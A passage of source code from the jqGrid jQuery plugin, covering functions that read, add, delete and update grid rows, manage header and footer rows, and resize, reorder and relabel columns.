"#"+$.jgrid.jqID(t.p.id))[t.p.useProp ? 'prop': 'attr']("checked",false); if(fid) { $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(sr), "#"+$.jgrid.jqID(fid))[t.p.useProp ? 'prop': 'attr']("checked",false); } t.setHeadCheckBox( false); var ia = $.inArray($.jgrid.jqID(sr), t.p.selarrrow); if ( ia !== -1 ){ t.p.selarrrow.splice(ia,1); } } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, sr ); } sr = null; } else if(!t.p.multiselect) { if(t.p.selrow) { $("#"+$.jgrid.jqID(t.p.id)+" tbody").first().find("tr#"+$.jgrid.jqID(t.p.selrow)).removeClass( highlight ).attr("aria-selected","false"); if(fid) { $("#"+$.jgrid.jqID(t.p.selrow), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, t.p.selrow ); } t.p.selrow = null; } } else { $(t.p.selarrrow).each(function(i,n){ $( $(t).jqGrid('getGridRowById',n) ).removeClass( highlight ).attr("aria-selected","false"); $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(n))[t.p.useProp ? 'prop': 'attr']("checked",false); if(fid) { $("#"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(fid))[t.p.useProp ? 'prop': 'attr']("checked",false); } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, n); } }); t.setHeadCheckBox( false ); t.p.selarrrow = []; t.p.selrow = null; } if(t.p.cellEdit === true) { if(parseInt(t.p.iCol,10)>=0 && parseInt(t.p.iRow,10)>=0) { $("td",t.rows[t.p.iRow]).eq(t.p.iCol).removeClass("edit-cell " + highlight ); $(t.rows[t.p.iRow]).removeClass("selected-row " + hover ); } } //t.p.savedRow = []; //si if($.jgrid.isFunction(t.p.onMultiSelect)) {t.p.onMultiSelect.call(t, t.p.selarrrow);} }); }, getRowData : function( rowid, usedata, treeindent, visibleTreeNodes ) { var res = {}, resall, getall=false, len, j=0; this.each(function(){ var $t = this,nm,ind; if( $.jgrid.isNull(rowid) ) { getall = true; resall = []; len = $t.rows.length; } else { ind = $($t).jqGrid('getGridRowById', rowid); if(!ind) { return res; } len = 1; } if( !(usedata && usedata === true && $t.p.data.length > 0) ) { usedata = false; } if( $.jgrid.isNull(treeindent) ) { treeindent = false; } if( $.jgrid.isNull(visibleTreeNodes) ) { visibleTreeNodes = false; } while(j<len){ if(getall) { ind = $t.rows[j]; } if( $(ind).hasClass('jqgrow') && ind.id !== "norecs") { // ignore first not visible row and norecs one if($t.p.treeGrid===true && visibleTreeNodes===true && $(ind).is(":hidden")) { j++; continue; } if(usedata) { res = res = $.extend( {}, $t.p.data[ $t.p._index[ $.jgrid.stripPref($t.p.idPrefix, ind.id) ] ] ); } else { $(ind).children('td[role="gridcell"]').each( function(i) { nm = $t.p.colModel[i].name; if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if($t.p.treeGrid===true && nm === $t.p.ExpandColumn) { res[nm] = $.jgrid.htmlDecode( $(this).find("span").first().html() ); } else { try { res[nm] = $.unformat.call($t,this,{rowId:ind.id, colModel:$t.p.colModel[i]},i); } catch (e){ res[nm] = $.jgrid.htmlDecode($(this).html()); } } } }); } if($t.p.treeGrid===true && treeindent) { var level = $t.p.treeReader.level_field; treeindent += ''; try { level = parseInt(res[level],10); } catch(e_) { level = 0; } res[$t.p.ExpandColumn] = treeindent.repeat( level ) + res[$t.p.ExpandColumn]; } if(getall) { resall.push(res); res={}; } } j++; } }); return resall || res; }, delRowData : function(rowid) { var success = false, rowInd, ia, nextRow; this.each(function() { var $t = this; rowInd = $($t).jqGrid('getGridRowById', rowid); if(!rowInd) { return false; } else { rowid = rowInd.id; } if($t.p.subGrid) { nextRow = $(rowInd).next(); if(nextRow.hasClass('ui-subgrid')) { nextRow.remove(); } } $(rowInd).remove(); $t.p.records--; $t.p.reccount--; $t.updatepager(true,false); success=true; if($t.p.frozenColumns) { $("#" + rowid, "#" + $.jgrid.jqID($t.p.id + "_frozen")).remove(); } if($t.p.multiselect) { ia = $.inArray(rowid,$t.p.selarrrow); if(ia !== -1) { $t.p.selarrrow.splice(ia,1);} } if ($t.p.multiselect && $t.p.selarrrow.length > 0) { $t.p.selrow = $t.p.selarrrow[$t.p.selarrrow.length-1]; } else { if( $t.p.selrow === rowid ) { $t.p.selrow = null; } } if($t.p.datatype === 'local') { var id = $.jgrid.stripPref($t.p.idPrefix, rowid), pos = $t.p._index[id]; if(pos !== undefined) { $t.p.data.splice(pos,1); $t.refreshIndex(); } } }); return success; }, setRowData : function(rowid, data, cssp, usegetrow) { var nm, success=true; this.each(function(){ if(!this.grid) {return false;} var t = this, vl, ind, lcdata={}, jsondat, title; ind = $(this).jqGrid('getGridRowById', rowid); if(!ind) { return false; } if(usegetrow === true) { jsondat = $(t).jqGrid("getRowData", rowid, (t.p.datatype === 'local')); } if( data ) { if(usegetrow) { data = $.extend( jsondat, data); } try { $(this.p.colModel).each(function(i){ nm = this.name; var dval =$.jgrid.getAccessor(data,nm); if( dval !== undefined) { lcdata[nm] = dval; //this.formatter && typeof this.formatter === 'string' && this.formatter === 'date' ? $.unformat.date.call(t,dval,this) : dval; vl = t.formatter( rowid, lcdata[nm], i, data, 'edit'); title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; if(t.p.treeGrid===true && nm === t.p.ExpandColumn) { $("td[role='gridcell']",ind).eq(i).find("span[class*='cell-wrapper']").html(vl).attr(title); } else { $("td[role='gridcell']",ind).eq(i).html(vl).attr(title); } if(t.p.frozenColumns && i <= t.p.frozenColCount) { $("#"+rowid+" td[role='gridcell']", "#" + $.jgrid.jqID(t.p.id + "_frozen")).eq(i).html(vl).attr(title); } } }); if(t.p.datatype === 'local') { var id = $.jgrid.stripPref(t.p.idPrefix, rowid), pos = t.p._index[id], key; if(t.p.treeGrid) { for(key in t.p.treeReader){ if(t.p.treeReader.hasOwnProperty(key)) { delete lcdata[t.p.treeReader[key]]; } } } if(pos !== undefined) { t.p.data[pos] = $.extend(true, t.p.data[pos], lcdata); } lcdata = null; } } catch (e) { success = false; } } if(success) { if(typeof cssp === 'string') { $(ind).addClass(cssp); } else if( !$.jgrid.isNull(cssp) && typeof cssp === 'object') { $(ind).css(cssp); } $(t).triggerHandler("jqGridAfterGridComplete"); } }); return success; }, addRowData : function(rowid,rdata,pos,src) { if($.inArray( pos, ["first", "last", "before", "after"] ) === -1) {pos = "last";} var success = false, nm, row, rnc="", msc="", gi, si, ni,sind, i, v, prp="", aradd, cnm, data, cm, id; if(rdata) { if(Array.isArray(rdata)) { aradd=true; //pos = "last"; cnm = rowid; } else { rdata = [rdata]; aradd = false; } this.each(function() { var t = this, datalen = rdata.length; ni = t.p.rownumbers===true ? 1 :0; gi = t.p.multiselect ===true ? 1 :0; si = t.p.subGrid===true ? 1 :0; if(!aradd) { if(rowid !== undefined) { rowid = String(rowid);} else { rowid = $.jgrid.randId(); if(t.p.keyName !== false) { cnm = t.p.keyName; if(rdata[0][cnm] !== undefined) { rowid = rdata[0][cnm]; } } } } var k = 0, classes = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'rowBox', true, 'jqgrow ui-row-'+ t.p.direction), lcdata = {}, air = $.jgrid.isFunction(t.p.afterInsertRow) ? true : false; if(ni) { rnc = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'rownumBox', false, 'jqgrid-rownum'); } if(gi) { msc = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'multiBox', false, 'cbox'); } while(k < datalen) { data = rdata[k]; row=[]; if(aradd) { try { rowid = data[cnm]; if(rowid===undefined) { rowid = $.jgrid.randId(); } } catch (e) {rowid = $.jgrid.randId();} } id = rowid; rowid = t.p.idPrefix + rowid; if(ni){ prp = t.formatCol(0,1,'',null,rowid, true); row[row.length] = "<td role=\"gridcell\" " + rnc +" "+prp+">0</td>"; } if(gi) { v = "<input role=\"checkbox\" type=\"checkbox\""+" id=\"jqg_"+t.p.id+"_"+rowid+"\" "+msc+"/>"; prp = t.formatCol(ni,1,'', null, rowid, true); row[row.length] = "<td role=\"gridcell\" "+prp+">"+v+"</td>"; } if(si) { row[row.length] = $(t).jqGrid("addSubGridCell",gi+ni,1); } for(i = gi+si+ni; i < t.p.colModel.length;i++){ cm = t.p.colModel[i]; nm = cm.name; lcdata[nm] = data[nm]; v = t.formatter( rowid, $.jgrid.getAccessor(data,nm), i, data ); prp = t.formatCol(i,1,v, data, rowid, lcdata); row[row.length] = "<td role=\"gridcell\" "+prp+">"+v+"</td>"; } row.unshift( t.constructTr(rowid, false, classes, lcdata, data ) ); row[row.length] = "</tr>"; if(t.rows.length === 0){ $(t.grid.bDiv).find("table").first().append(row.join('')); } else { switch (pos) { case 'last': $(t.rows[t.rows.length-1]).after(row.join('')); sind = t.rows.length-1; break; case 'first': $(t.rows[0]).after(row.join('')); sind = 1; break; case 'after': sind = $(t).jqGrid('getGridRowById', src); if (sind) { if($(t.rows[sind.rowIndex+1]).hasClass("ui-subgrid")) { $(t.rows[sind.rowIndex+1]).after(row); } else { $(sind).after(row.join('')); } sind=sind.rowIndex + 1; } break; case 'before': sind = $(t).jqGrid('getGridRowById', src); if(sind) { $(sind).before(row.join('')); sind=sind.rowIndex - 1; } break; } } if(t.p.subGrid===true) { $(t).jqGrid("addSubGrid",gi+ni, sind); } t.p.records++; t.p.reccount++; $(t).triggerHandler("jqGridAfterInsertRow", [rowid,data,data]); if(air) { t.p.afterInsertRow.call(t,rowid,data,data); } k++; if(t.p.datatype === 'local') { lcdata[t.p.localReader.id] = id; switch (pos) { case 'first': t.p.data.unshift(lcdata); break; case 'last': t.p.data.push(lcdata); break; case 'before': case 'after': t.p.data.splice(sind-1, 0, lcdata); break; } } lcdata = {}; if(t.p.reccount === 1) { sind = $(t).jqGrid('getGridRowById', "norecs"); if(sind && sind.rowIndex && sind.rowIndex > 0) { $(t.rows[sind.rowIndex]).remove(); } } } if(t.p.datatype === 'local') { t.refreshIndex(); } t.updatepager(true,true); success = true; }); } return success; }, footerData : function(action,data, format, index, destroyFrozen) { var nm, success=false, res={}; function isEmpty(obj) { var i; for(i in obj) { if (obj.hasOwnProperty(i)) { return false; } } return true; } if(action === undefined) { action = "get"; } if(typeof format !== "boolean") { format = true; } if(index === undefined ) { index = 0;} if(destroyFrozen === undefined) { destroyFrozen = true; } action = action.toLowerCase(); this.each(function(){ var t = this, vl, title, len = this.p.colModel.length, frozen = false; if(!t.grid || !t.p.footerrow) {return false;} if(action === "set") { if(isEmpty(data)) { return false; } } if(action === "getlength") { var rowlen = $(".ui-jqgrid-ftable tr", t.grid.sDiv).length; res = rowlen ? rowlen : 0; return false; } if(t.p.frozenColumns && action !== 'get' && destroyFrozen) { $(t).jqGrid("destroyFrozenColumns"); frozen = true; } success=true; if(action === 'addrow') { var test = $(".ui-jqgrid-ftable tr", t.grid.sDiv).eq(0).clone(); $("td", test).html(" "); $(".ui-jqgrid-ftable", t.grid.sDiv ).append(test); if(!isEmpty(data)) { action = 'set'; index = $(".ui-jqgrid-stable tr", t.grid.sDiv).length - 1; } } if(action === 'delrow') { if(index === undefined) { index = $(".ui-jqgrid-stable tr", t.grid.sDiv).length - 1; } if(index > 0 ) { $(".ui-jqgrid-ftable tr", t.grid.sDiv).eq(index).remove(); } } len = len * parseInt(index,10); if(action === 'get' || action === 'set') { $(this.p.colModel).each(function(i){ nm = this.name; if(action === "set") { if( data[nm] !== undefined) { vl = format ? t.formatter( "", data[nm], i, data, 'edit') : data[nm]; title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; $("tr.footrow td",t.grid.sDiv).eq(i + len).html(vl).attr(title); success = true; } } else if(action === "get") { res[nm] = format ? $.unformat.call (t, $("tr.footrow td",t.grid.sDiv).eq(i + len), { 'colModel' : t.p.colModel[i] }, i) : $("tr.footrow td",t.grid.sDiv).eq(i + len).html(); } }); } if(action === 'remove') { $(t.grid.sDiv).remove(); t.grid.sDiv = null; t.p.footerrow = false; } if(frozen) { $(t).jqGrid("setFrozenColumns"); } }); return (action === "get" || action === "getlength") ? res : success; }, headerData : function(action, data, format, index, destroyFrozen) { var nm, success=false, res={}; function isEmpty(obj) { var i; for(i in obj) { if (obj.hasOwnProperty(i)) { return false; } } return true; } if(action === undefined) { action = "get"; } if(typeof format !== "boolean") { format = true; } if(index === undefined ) { index=0;} if(destroyFrozen === undefined) { destroyFrozen = true; } action = action.toLowerCase(); this.each(function(){ var t = this, vl, title,len = this.p.colModel.length, frozen = false; if(!t.grid || !t.p.headerrow) {return false;} if(action === "set") { if(isEmpty(data)) { return false; } } if(action === "getlength") { var rowlen = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length; res = rowlen ? rowlen : 0; return true; } if(t.p.frozenColumns && action !== 'get' && destroyFrozen) { $(t).jqGrid("destroyFrozenColumns"); frozen = true; } success=true; if(action === 'addrow') { var test = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).eq(0).clone(); $("td", test).html(" "); $(".ui-jqgrid-hrtable", t.grid.hrDiv ).append(test); if(!isEmpty(data)) { action = 'set'; index = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length - 1; } } if(action === 'delrow') { if(index === undefined) { index = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length - 1; } if(index > 0 ) { $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).eq(index).remove(); } } len = len * parseInt(index,10); if(action === 'get' || action === 'set') { $(this.p.colModel).each(function(i){ nm = this.name; if(action === "set") { if( data[nm] !== undefined) { vl = format ? t.formatter( "", data[nm], i, data, 'edit') : data[nm]; title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; $("tr.hrheadrow td",t.grid.hrDiv).eq(i + len).html(vl).attr(title); success = true; } } else if(action === "get") { res[nm] = format ? $.unformat.call (t, $("tr.hrheadrow td",t.grid.hrDiv).eq(i+len), { 'colModel' : t.p.colModel[i] }, i) : $("tr.hrheadrow td",t.grid.hrDiv).eq(i+len).html(); } }); } if(action === 'remove') { $(t.grid.hrDiv).remove(); t.grid.hrDiv = null; t.p.headerrow = false; } if(frozen) { $(t).jqGrid("setFrozenColumns"); } }); return (action === "get" || action === "getlength") ? res : success; }, showHideCol : function(colname,show) { return this.each(function() { var $t = this, fndh=false, brd=$.jgrid.cell_width ? 0: $t.p.cellLayout, cw, frozen = false; if (!$t.grid ) {return;} if( typeof colname === 'string') {colname=[colname];} show = show !== "none" ? "" : "none"; var sw = show === "" ? true :false, gHead = null, gh = $($t).jqGrid("isGroupHeaderOn"); if($t.p.frozenColumns) { $($t).jqGrid('destroyFrozenColumns'); frozen = true; } if(gh) { $($t).jqGrid('destroyGroupHeader', false); gHead = $.extend([],$t.p.groupHeader); $t.p.groupHeader = null; } if($t.p.colSpanHeader.length) { $($t).jqGrid('destroyColSpanHeader', false); } $(this.p.colModel).each(function(i) { if ($.inArray(this.name,colname) !== -1 && this.hidden === sw) { //if($t.p.frozenColumns === true && this.frozen === true) { // return true; //} $("tr[role=row]",$t.grid.hDiv).each(function(){ $(this.cells[i]).css("display", show); }); $($t.rows).each(function(){ if (!$(this).hasClass("jqgroup")) { $(this.cells[i]).css("display", show); } }); if($t.p.footerrow) { $("tr.footrow td", $t.grid.sDiv).eq( i ).css("display", show); } if($t.p.headerrow) { $("tr.hrheadrow td", $t.grid.hrDiv).eq( i ).css("display", show); } cw = parseInt(this.width,10); if(show === "none") { $t.p.tblwidth -= cw+brd; } else { $t.p.tblwidth += cw+brd; } this.hidden = !sw; fndh=true; $($t).triggerHandler("jqGridShowHideCol", [sw,this.name,i]); } }); if(fndh===true) { if($t.p.shrinkToFit === true && !isNaN($t.p.height)) { $t.p.tblwidth += parseInt($t.p.scrollOffset,10); } $($t).jqGrid("setGridWidth",$t.p.shrinkToFit === true ? $t.p.tblwidth - (!isNaN($t.p.height) ? parseInt($t.p.scrollOffset,10) : 0) : $t.p.width ); } if( gh && gHead) { for(var k =0; k < gHead.length; k++) { $($t).jqGrid('setGroupHeaders', gHead[k]); } } if($t.p.colSpanHeader.length) { $($t).jqGrid('setColSpanHeader', $t.p.colSpanHeader); } if(frozen) { $($t).jqGrid("setFrozenColumns"); } }); }, hideCol : function (colname) { return this.each(function(){$(this).jqGrid("showHideCol",colname,"none");}); }, showCol : function(colname) { return this.each(function(){$(this).jqGrid("showHideCol",colname,"");}); }, hideSearchCol : function(colname) { return this.each(function(){ try { var index = this.p._avc.indexOf(colname); if(index > -1 ) { this.p._avc.splice(index, 1); this.p._fthc.push( colname ); $(this).jqGrid("showHideCol",colname,"none"); } } catch(_e) {} }); }, showSearchCol : function(colname) { return this.each(function(){ try { var index = this.p._fthc.indexOf(colname); if(index > -1 ) { this.p._fthc.splice(index, 1); this.p._avc.push( colname ); $(this).jqGrid("showHideCol",colname,""); } } catch(_e) {} }); }, remapColumns : function(permutation, updateCells, keepHeader) { function resortArray(a) { var ac; if (a.length) { ac = $.makeArray(a); } else { ac = $.extend({}, a); } $.each(permutation, function(i) { a[i] = ac[this]; }); } var ts = this.get(0); function resortRows(parent, clobj) { $(">tr"+(clobj||""), parent).each(function() { var row = this; var elems = $.makeArray(row.cells); $.each(permutation, function() { var e = elems[this]; if (e) { row.appendChild(e); } }); }); } resortArray(ts.p.colModel); resortArray(ts.p.colNames); resortArray(ts.grid.headers); resortRows( $(ts.grid.hDiv).find("thead").first() , keepHeader && ":not(.ui-jqgrid-labels)"); if (updateCells) { resortRows($("#"+$.jgrid.jqID(ts.p.id)+" tbody").first(), ".jqgfirstrow, tr.jqgrow, tr.jqfoot, tr.jqgroup"); } if (ts.p.footerrow) { resortRows( $(ts.grid.sDiv).find("tbody").first() ); } if (ts.p.headerrow) { resortRows( $(ts.grid.hrDiv).find("tbody").first()); } if (ts.p.remapColumns) { if (!ts.p.remapColumns.length){ ts.p.remapColumns = $.makeArray(permutation); } else { resortArray(ts.p.remapColumns); } } ts.p.lastsort = $.inArray(ts.p.lastsort, permutation); if(ts.p.treeGrid) { ts.p.expColInd = $.inArray(ts.p.expColInd, permutation); } $(ts).triggerHandler("jqGridRemapColumns", [permutation, updateCells, keepHeader]); }, setGridWidth : function(nwidth, shrink, usefrozen) { return this.each(function(){ if (!this.grid ) {return;} var $t = this, cw, setgr, frozen = false, initwidth = 0, brd=$.jgrid.cell_width ? 0: $t.p.cellLayout, lvc, vc=0, hs=false, scw=$t.p.scrollOffset, aw, gw=0, cr, bstw = $t.p.styleUI.search('Bootstrap') !== -1 ? 2 : 0; if(typeof shrink !== 'boolean') { shrink=$t.p.shrinkToFit; } if( typeof usefrozen !== 'boolean' ) { usefrozen = true; } if(isNaN(nwidth)) {return;} nwidth = parseInt(nwidth,10); if(nwidth < $t.p.minGridWidth || nwidth > $t.p.maxGridWidth) { return; } $t.grid.width = $t.p.width = nwidth; $("#gbox_"+$.jgrid.jqID($t.p.id)).css("width",nwidth+"px"); $("#gview_"+$.jgrid.jqID($t.p.id)).css("width",nwidth+"px"); $($t.grid.bDiv).css("width",(nwidth - bstw) +"px"); $($t.grid.hDiv).css("width",(nwidth - bstw) +"px"); if($t.p.pager ) { $($t.p.pager).css("width",(nwidth - bstw) +"px"); } if($t.p.toppager ) { $($t.p.toppager).css("width",(nwidth - bstw)+"px"); } if($t.p.toolbar[0] === true){ $($t.grid.uDiv).css("width",(nwidth - bstw)+"px"); if($t.p.toolbar[1]==="both") {$($t.grid.ubDiv).css("width",(nwidth - bstw)+"px");} } if($t.p.footerrow) { $($t.grid.sDiv).css("width",(nwidth - bstw)+"px"); } if($t.p.headerrow) { $($t.grid.hrDiv).css("width",(nwidth - bstw)+"px"); } // if (group_header) setgr = $($t).jqGrid("isGroupHeaderOn"); if(setgr) { $($t).jqGrid('destroyGroupHeader', false); } if($t.p.frozenColumns && usefrozen) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } if(shrink ===false && $t.p.forceFit === true) {$t.p.forceFit=false;} if(shrink===true) { $.each($t.p.colModel, function() { if(this.hidden===false){ cw = this.widthOrg; initwidth += cw+brd; if(this.fixed) { gw += cw+brd; } else { vc++; } } }); if(vc === 0) { return; } $t.p.tblwidth = initwidth; aw = nwidth-brd*vc-gw; var norec_row = $("#norecs", "#"+$.jgrid.jqID($t.p.id)).eq(0); if(!isNaN($t.p.height)) { if($($t.grid.bDiv)[0].clientHeight <= $($t.grid.bDiv)[0].scrollHeight || $t.rows.length === (norec_row.length + 1) || $($t.grid.bDiv).css('overflow-y') === 'scroll'){ hs = true; aw -= scw; } } initwidth =0; var cle = $t.grid.cols.length >0; $.each($t.p.colModel, function(i) { if(this.hidden === false && !this.fixed){ cw = this.widthOrg; cw = Math.round(aw*cw/($t.p.tblwidth-brd*vc-gw)); if (cw < 0) { return; } this.width =cw; initwidth += cw; $t.grid.headers[i].width=cw; $t.grid.headers[i].el.style.width=cw+"px"; if($t.p.footerrow) { $t.grid.footers[i].style.width = cw+"px"; } if($t.p.headerrow) { $t.grid.hrheaders[i].style.width = cw+"px"; } if(cle) { $t.grid.cols[i].style.width = cw+"px"; } lvc = i; } }); if (!lvc) { return; } cr =0; if (hs) { if(nwidth-gw-(initwidth+brd*vc) !== scw){ cr = nwidth-gw-(initwidth+brd*vc)-scw; } } else if( !hs && Math.abs(nwidth-gw-(initwidth+brd*vc)) !== 0) { cr = nwidth-gw-(initwidth+brd*vc) - bstw; // + 1 pix to remove scroll } $t.p.colModel[lvc].width += cr; $t.p.tblwidth = initwidth+cr+brd*vc+gw; if($t.p.tblwidth > nwidth) { var delta = $t.p.tblwidth - parseInt(nwidth,10); $t.p.tblwidth = nwidth; cw = $t.p.colModel[lvc].width = $t.p.colModel[lvc].width-delta; } else if ($t.p.tblwidth === nwidth){ cw = $t.p.colModel[lvc].width = $t.p.colModel[lvc].width-bstw; $t.p.tblwidth = nwidth - bstw; } else { cw= $t.p.colModel[lvc].width; } var has_scroll = ($($t.grid.bDiv)[0].scrollWidth > $($t.grid.bDiv).width()) && bstw !==0 ? -1 : 0; cw = $t.p.colModel[lvc].width += has_scroll; $t.grid.headers[lvc].width = cw; $t.grid.headers[lvc].el.style.width=cw+"px"; if(cle) { $t.grid.cols[lvc].style.width = cw+"px"; } if($t.p.footerrow) { $t.grid.footers[lvc].style.width = cw+"px"; } if($t.p.headerrow) { $t.grid.hrheaders[lvc].style.width = cw+"px"; } } $($t.grid.bDiv).find('table').first().css("width",$t.p.tblwidth+"px"); $($t.grid.hDiv).find('table').first().css("width",$t.p.tblwidth+"px"); $t.grid.hDiv.scrollLeft = $t.grid.bDiv.scrollLeft; if($t.p.footerrow) { $($t.grid.sDiv).find('table').first().css("width",$t.p.tblwidth+"px"); } if($t.p.headerrow) { $($t.grid.hrDiv).find('table').first().css("width",$t.p.tblwidth+"px"); } if( setgr ) { var gHead = $.extend([],$t.p.groupHeader); $t.p.groupHeader = null; for(var k =0; k < gHead.length; k++) { $($t).jqGrid('setGroupHeaders', gHead[k]); } $t.grid.hDiv.scrollLeft = $t.grid.bDiv.scrollLeft; } if(frozen) { $($t).jqGrid("setFrozenColumns"); } }); }, setGridHeight : function ( nh, entrie_grid, usefrozen ) { return this.each(function (){ var $t = this; if(!$t.grid) {return;} var bDiv = $($t.grid.bDiv), static_height = $($t.grid.hDiv).outerHeight(), frozen = false; if( typeof entrie_grid !== 'boolean' ) { entrie_grid = false; } if( typeof usefrozen !== 'boolean' ) { usefrozen = true; } if(entrie_grid === true) { if($t.p.pager ) { static_height += $($t.p.pager).outerHeight(); } if($t.p.toppager ) { static_height += $($t.p.toppager).outerHeight(); } if($t.p.toolbar[0] === true){ static_height += $($t.grid.uDiv).outerHeight(); if($t.p.toolbar[1]==="both") { static_height += $($t.grid.ubDiv).outerHeight(); } } if($t.p.footerrow) { static_height += $($t.grid.sDiv).outerHeight(); } if($t.p.headerrow) { static_height += $($t.grid.hrDiv).outerHeight(); } if($t.p.caption) { static_height += $($t.grid.cDiv).outerHeight(); } if(nh > static_height) { // set it for the body nh = nh - static_height; } } if($t.p.frozenColumns && usefrozen) { $($t).jqGrid("destroyFrozenColumns"); frozen = true; } bDiv.css({height: nh+(isNaN(nh)?"":"px")}); $t.p.height = nh; if(frozen) { $($t).jqGrid("setFrozenColumns"); } if ($t.p.scroll) { $t.grid.populateVisible(); } }); }, maxGridHeight : function( action, newhgh, minrh ) { return this.each(function() { var $t = this; if(!$t.grid) { return; } if(minrh===undefined) { minrh = 25; } var bDiv = $($t.grid.bDiv); if( action === 'set' && !isNaN(newhgh)) { // row min height newhgh = parseFloat(newhgh); if( newhgh > parseFloat(minrh) ) { // min row height bDiv.css("max-height", newhgh ); if( ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height()) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', $t.p.width+$t.p.scrollOffset-2, false, false ); } } } else if( action === 'remove') { var test = ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height(); bDiv.css("max-height", ""); if(test) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', $t.p.width-$t.p.scrollOffset+2, false, false ); } } }); }, setCaption : function (newcap){ return this.each(function(){ var ctop = $(this).jqGrid('getStyleUI',this.p.styleUI+".common",'cornertop', true); this.p.caption=newcap; $(".ui-jqgrid-title, .ui-jqgrid-title-rtl",this.grid.cDiv).html(newcap); $(this.grid.cDiv).show(); $(this.grid.hDiv).removeClass(ctop); }); }, setLabel : function(colname, nData, prop, attrp ){ return this.each(function(){ var $t = this, pos=-1; if(!$t.grid) {return;} if( !$.jgrid.isNull(colname) ) { if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } } else { return; } if( pos >= 0 ) { var thecol = $("tr.ui-jqgrid-labels th",$t.grid.hDiv).eq( pos ); if (nData){ var ico = $(".s-ico",thecol), col_menu = $(".colmenu",thecol); try { $("[id^=jqgh_]",thecol).empty().html(nData).append(ico).append(col_menu); } catch (er) {} $t.p.colNames[pos] = nData; if($t.p.frozenColumns) { thecol = $("tr.ui-jqgrid-labels th",$t.grid.fhDiv).eq( pos ); ico = $(".s-ico",thecol); $("[id^=jqgh_]",thecol).empty().html(nData).append(ico); } } if (prop) { if(typeof prop === 'string') {$(thecol).addClass(prop);} else {$(thecol).css(prop);} } if(typeof attrp === 'object') {$(thecol).attr(attrp);} var tmpcm = $t.p.colModel[pos]; if( tmpcm.autosize_headers ) { var hdr_font = $.jgrid.getFont( thecol[0]); tmpcm.canvas_width = ($.jgrid.getTextWidth( $("div", thecol)[0].outerText, hdr_font) + (tmpcm.colmenu ? $.jgrid.floatNum( $(".colmenuspan", thecol).parent().width()) : 0) + $.jgrid.floatNum( $("div", thecol).css("padding-left")) + $.jgrid.floatNum( $("div", thecol).css("padding-right")) + $.jgrid.floatNum($(".ui-jqgrid-resize", thecol).width())); } } }); }, setSortIcon : function(position, colname) { return this.each(function(){ var $t = this, pos=-1, len=1, nm, thecol, htmlcol, ico; if(!$t.grid) {return;} if( !$.jgrid.isNull(colname) ) { if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } } else { len = $t.p.colNames.length; } for(var i =0; i<len; i++) { if(pos>=0) { i = pos; } nm = $t.p.colModel[i].name; if(nm === 'cb' || nm==='subgrid' || nm==='rn' || nm !== 'sc') { continue; } thecol = $("tr.ui-jqgrid-labels th", $t.grid.hDiv).eq( i ); htmlcol = $t.p.colNames[i]; ico = thecol.find(".s-ico"); if(position === 'left') { thecol.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(ico).append(htmlcol); } else if(position === 'right') { thecol.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(htmlcol).append(ico); } if($t.p.frozenColumns) { thecol = $("tr.ui-jqgrid-labels th", $t.grid.fhDiv).eq( i ); htmlcol = $t.p.colNames[i]; ico = thecol.find(".s-ico"); if(position === 'left') { thecol.find("div.ui-th-div").first().empty().addClass("ui-icon-left").append(ico).append(htmlcol); } else if(position === 'right') { thecol.find("div.ui-th-div").first().empty().removeClass("ui-icon-left").append(htmlcol).append(ico); } } } }); }, setCell : function(rowid,colname,nData,cssp,attrp, forceupd) { return this.each(function(){ var $t = this, pos =-1, v, ind; if(!$t.grid) {return;} if(isNaN(colname)) { pos = $.jgrid.getElemByAttrVal($t.p.colModel, 'name', colname, true); } else { pos = parseInt(colname,10); } if(pos>=0) { ind = $($t).jqGrid('getGridRowById', rowid); if (ind){ var tcell, title, rawdat={}, cm = $t.p.colModel[pos], index; try { tcell = ind.cells[pos]; } catch(e){} if(tcell) { if(nData !== "" || forceupd === true ) { rawdat = $($t).jqGrid("getRowData", rowid, ($t.p.datatype === 'local')); rawdat[cm.name] = nData; v = $t.formatter(rowid, nData, pos, rawdat, 'edit'); title = cm.title ? {"title":$.jgrid.stripHtml(v)} : {}; if($t.p.treeGrid && $t.p.ExpandColumn === cm.name ) { $("span",$(tcell)).html(v).attr(title); } else { $(tcell).html(v).attr(title); } if($t.p.datatype === "local") { //nData = cm.formatter && typeof cm.formatter === 'string' && cm.formatter === 'date' ? $.unformat.date.call($t,nData,cm) : nData; index = $t.p._index[$.jgrid.stripPref($t.p.idPrefix, rowid)]; if(index !== undefined) { $t.p.data[index][cm.name] = nData; } } } if(typeof cssp === 'string'){ $(tcell).addClass(cssp); } else if(cssp) { $(tcell).css(cssp); } if(typeof attrp === 'object') { $(tcell).attr(attrp); } 